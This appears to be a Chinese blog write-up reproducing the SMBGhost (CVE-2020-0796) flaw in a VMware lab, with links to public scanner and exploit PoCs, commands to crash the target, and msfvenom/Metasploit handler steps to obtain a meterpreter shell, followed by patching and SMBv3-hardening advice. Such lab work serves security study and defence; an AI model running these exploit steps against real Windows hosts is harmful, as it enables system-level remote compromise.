实验环境:

  靶机:windows10 1903 专业版

   攻击机:kali 2020.3

   VMware:vmware14

实验工具:

  Python 3.8.5

    msfconsole

实验PROC:

  靶机镜像:ed2k://|file|cn_windows_10_business_editions_version_1903_x64_dvd_e001dd2c.iso|4815527936|47D4C57E638DF8BF74C59261E2CE702D|/

    检测漏洞poc:https://github.com/ollypwn/SMBGhost

    蓝屏proc:https://github.com/chompie1337/SMBGhost_RCE_PoC

实验前提:

  靶机关闭防火墙

  靶机安装完毕后注意创建快照

  pip安装netaddr模块

漏洞介绍:(内容来自腾讯安全 https://s.tencent.com/research/bsafe/912.html)

  该漏洞是Windows10在处理SMB 3.1.1协议的压缩消息时,对头部数据没有做任何安全检查,直接使用,从而引发内存破坏漏洞,达到任意命令执行。

漏洞目标:(内容来自腾讯安全 https://s.tencent.com/research/bsafe/912.html)

  漏洞主要攻击端口为445,但也会有其他触发方式如,构造恶意的SMB服务器并通过网页、压缩包、共享目录、OFFICE文档等多种方式传递给目标用户

当用户打开恶意文件,无需开启445端口就可以触发漏洞

漏洞影响:(内容来自腾讯安全 https://guanjia.qq.com/avast/984/index.html)

  通过此漏洞获取到的权限为系统最高权限

  不影响win7,影响Windows 10 1903之后的各个32位、64位版Windows,包括家用版、专业版、企业版、教育版。
  Windows 10 Version 1903 for 32-bit Systems
  Windows 10 Version 1903 for x64-based Systems
  Windows 10 Version 1903 for ARM64-based Systems
  Windows Server, Version 1903 (Server Core installation)
  Windows 10 Version 1909 for 32-bit Systems
  Windows 10 Version 1909 for x64-based Systems
  Windows 10 Version 1909 for ARM64-based Systems
  Windows Server, Version 1909 (Server Core installation)

漏洞复现:

  首先判断是否存在漏洞

  

  打开SMBGhost,利用scanner.py检测是否存在漏洞

  CMD输入命令 python.exe scanner.py 192.168.1.140

  

  出现 Vulnerable 则表示成功

  打开SMBGhost_RCE_PoC文件夹通过exploit.py文件进行蓝屏攻击

  

  输入命令 python.exe exploit.py -ip [IP]

  出现以下回显表示攻击成功

   

  如果没有成功可以进行多次尝试

  多次失败可以尝试恢复快照

  

  接着返回虚拟机发现已经蓝屏

  

  靶机恢复快照

  获取shell攻击

  尝试使用exp反弹shell,打开kali虚拟机

  通过msfvenom命令生成payload

  

  执行完毕后会在当前工作目录下生成exploit文件

  通过cat查看文件可以看到里面是定义了一个名为buf的变量并把payload赋值给buf

  

  打开github下载的PROC文件夹

  并把exploit.py文件里面USER_PAYLOAD的值替换为buf值

  kali进入msf输入命令

  注意: lport 要和msfvenom生成的payload保持一致

  use exploit/multi/handler
  set payload windows/x64/meterpreter/bind_tcp
  set lport 8888
  set rhost 192.168.1.140
  run

  启动监听,并等待再次攻击

  之后再次运行替换过buf的exploit

  如果不成功可以多次尝试或恢复快照

  

  运行成功后返回kali

  可以看到攻击成功

  

防御手段: (参考 https://www.cnblogs.com/kbhome/p/13073746.html)

  打补丁:

    https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2020-0796 (windows官方补丁)

  禁用SMBv3压缩:

    禁用SMB 3.0的压缩功能,是否使用需要结合自己业务进行判断。
    使用以下PowerShell命令禁用压缩功能,以阻止未经身份验证的攻击者利用SMBv3 服务器的漏洞。
    Set-ItemProperty -Path “HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters” DisableCompression -Type DWORD -Value 1 -Force
    用户可通过以下PowerShell命令撤销禁用压缩功能
    Set-ItemProperty -Path “HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters” DisableCompression -Type DWORD -Value 0 -Force
    注:利用以上命令进行更改后,无需重启即可生效;该方法仅可用来防护针对SMB服务器(SMB SERVER)的攻击,无法对SMB客户端(SMB Client)进行防护。

  设置防火墙策略关闭相关端口:

    SMB的TCP 445端口
    NetBIOS名称解析的UDP 137端口
    NetBIOS数据图服务的UDP 138端口
    NetBIOS会话服务的TCP 139端口

  通过IP安全策略屏蔽危险端口,bat执行添加防火墙策略,关闭危险服务:

    http://www.piis.cn/news/new1614.asp

 

总结:

  这次实验参考的比较多

  https://blog.csdn.net/weixin_45006525/article/details/106553519 (主要攻击手段参考

  https://guanjia.qq.com/avast/984/index.html         (漏洞版本参考

  https://s.tencent.com/research/bsafe/912.html        (漏洞基本消息参考

  https://www.cnblogs.com/kbhome/p/13073746.html       (防御手段参考

  攻击整体思路,通过445端口进行攻击,利用proc和msf攻击靶机并反弹shell,kali监听反弹的shell(注意反弹监听的shell要一致)

[永恒之黑]CVE-2020-0796(漏洞复现)的更多相关文章

  1. 永恒之蓝(MS17-010)漏洞复现

    1. 漏洞介绍 永恒之蓝: 恒之蓝是指2017年4月14日晚,黑客团体Shadow Brokers(影子经纪人)公布一大批网络攻击工具,其中包含"永恒之蓝"工具,"永恒之 ...

  2. CVE¬-2020-¬0796 漏洞复现(本地提权)

    CVE­-2020-­0796 漏洞复现(本地提权) 0X00漏洞简介 Microsoft Windows和Microsoft Windows Server都是美国微软(Microsoft)公司的产品 ...

  3. struts2(s2-052)远程命令执行漏洞复现

    漏洞描述: 2017年9月5日,Apache Struts发布最新安全公告,Apache Struts2的REST插件存在远程代码执行的高危漏洞,该漏洞由lgtm.com的安全研究员汇报,漏洞编号为C ...

  4. 8.Struts2-057漏洞复现

    漏洞信息: 定义XML配置时如果namespace值未设置且上层动作配置(Action Configuration)中未设置或用通配符namespace时可能会导致远程代码执行. url标签未设置va ...

  5. CVE-2020-0796“永恒之黑”漏洞复现

    0x00 漏洞概述 Microsoft Server Message Block 3.1.1(SMBv3)协议在处理某些请求的方式中存在代码执行漏洞.攻击者可以精心构造数据包发送到SMB服务器,无需经 ...

  6. CVE-2020-0796(永恒之黑)漏洞复现

    声明:仅供学习与参考,请勿用于非法用途(后果自负) 一.影响范围(需关闭 Win10 防火墙): Windows 10 Version 1903 for 32-bit Systems Windows ...

  7. 【研究】ms17-010永恒之蓝漏洞复现

    1       永恒之蓝漏洞复现(ms17-010) 1.1     漏洞描述: Eternalblue通过TCP端口445和139来利用SMBv1和NBT中的远程代码执行漏洞,恶意代码会扫描开放44 ...

  8. EternalBlue永恒之蓝漏洞复现

    EternalBlue漏洞复现 1.    实训目的 永恒之蓝(EternalBlue)是由美国国家安全局开发的漏洞利用程序,对应微软漏洞编号ms17-010.该漏洞利用工具由一个名为”影子经济人”( ...

  9. 永恒之蓝MS17-010漏洞复现

    永恒之蓝MS17-010漏洞复现 1.漏洞描述: 起因: 永恒之蓝(Eternalblue)是指2017年4月14日晚,黑客团体Shadow Brokers(影子经纪人)公布一大批网络攻击工具,其中包 ...

随机推荐

  1. Spring中的Mybatis

    1. 前言 在构建一个web应用时基本的套路就是SSM,其中的M就是Mybatis. Mybatis作为一款开源的ORM框架, 由于其易于上手的特点成为当下比较流行的ORM框架,当然它还有一款插件能够 ...

  2. eclipse 老坑巨滑之内存溢出OOM

    绪:今天接手一个古老项目,tomcat6+jdk6.被   java.lang.OutOfMemoryError: PermGen space  啪啪打脸, 网上确实有很多解决方法,主要有三种类型:一 ...

  3. 微信小程序 下拉刷新

    <scroll-view class='scroll-view-container' scroll-y="true" bindscrolltolower='scrollToL ...

  4. Spring Boot 2.4.0 发布,配置文件重大调整,不要乱升级!!

    前段时间 Spring Boot 2.4.0 发布了,栈长作了一个新特性全盘解读,其中介绍了一个很重要的变革,那就是配置文件. 配置文件可是每个框架的核心,不得不搞清楚,所以,这篇栈长就带大家深入实战 ...

  5. Feign 自定义 ErrorDecoder (捕获 Feign 服务端异常)

    问题描述 Feign 客户端捕获不到服务端抛出的异常 问题解决 重新 ErrorDecoder 即可,比如下面例子中在登录鉴权时想使用认证服务器抛出 OAuth2Exception 的异常,代码如下: ...

  6. 保姆级别的RabbitMQ教程!包括Java和Golang两种客户端

    目录 什么是AMQP 和 JMS? 常见的MQ产品 安装RabbitMQ 启动RabbitMQ 什么是Authentication(认证) 指定RabbitMQ的启动配置文件 如何让guest用户远程 ...

  7. 第6.4节 Python动态表达式计算:eval函数详述

    在Python动态执行的函数中,eval是用于执行表达式计算的函数,这个函数用于执行字符串中包含的一个表达式或其编译后对应的代码,不能适用于执行Python语句和完整的代码. 一.    语法 1.  ...

  8. 【学习笔记】动态 dp 入门简易教程

    序列 dp 引入:最大子段和 给定一个数列 \(a_1, a_2, \cdots, a_n\)(可能为负),求 \(\max\limits_{1\le l\le r\le n}\left\{\sum_ ...

  9. Python之Windows服务

    1.首先要安装pywin32-220.win-amd64-py2.7.exe 2. SvcDoRun:服务启动的时候会执行的方法 SvcStop:服务停止的时候会执行的方法 # coding=utf- ...

  10. Docker 安装Mysql,RabbitMQ

    安装Mysql 拉取镜像 docker pull mysql:5.7.30 运行容器 docker run -itd --name mysql5.7 -p 33006:3306 --restart=a ...